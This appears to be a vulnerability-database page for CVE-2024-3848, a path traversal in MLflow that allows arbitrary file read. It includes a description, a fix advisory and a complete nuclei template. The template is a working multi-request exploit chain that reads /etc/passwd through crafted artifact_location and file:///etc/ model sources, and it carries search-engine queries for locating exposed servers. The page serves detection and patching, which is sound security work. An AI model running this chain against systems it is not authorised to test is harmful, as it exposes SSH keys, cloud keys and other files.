HexBrain

Browse / CVEs / CVE-2024-3848

CVE-2024-3848· lfprojects / mlflow· CWE-29

Mlflow < 2.11.0 - Path Traversal

highseverity
7.5CVSS score
43%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.

Impact

Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.

Fix

To fix this vulnerability, it is important to update the mlflow package to the latest version 2.12.1.

How to confirm it

Send: POST /ajax-api/2.0/mlflow/experiments/create ; POST /api/2.0/mlflow/runs/create ; POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a ; POST /ajax-api/2.0/mlflow/experiments/delete ; POST /ajax-api/2.0/mlflow/registered-models/create
Positive when: matches in body_7 /root:.*:0:0:/ AND contains in header_7 "filename=passwd" and "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-3848 -u <target>

The full check
id: CVE-2024-3848

info:
  name: Mlflow < 2.11.0 - Path Traversal
  author: gy741
  severity: high
  description: |
    A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.
  impact: |
    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
  remediation: |
    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.12.1.
  reference:
    - https://huntr.com/bounties/8d5aadaa-522f-4839-b41b-d7da362dd610
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3848
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-3848
    cwe-id: CWE-29
    epss-score: 0.43012
    epss-percentile: 0.98731
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln,vkev

variables:
  random: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "http://host#/../../../../../../../../../../../../../../etc/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a HTTP/1.1
        Host: {{Hostname}}

        {{random}}

      - |
        POST /ajax-api/2.0/mlflow/experiments/delete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_7
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_7
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from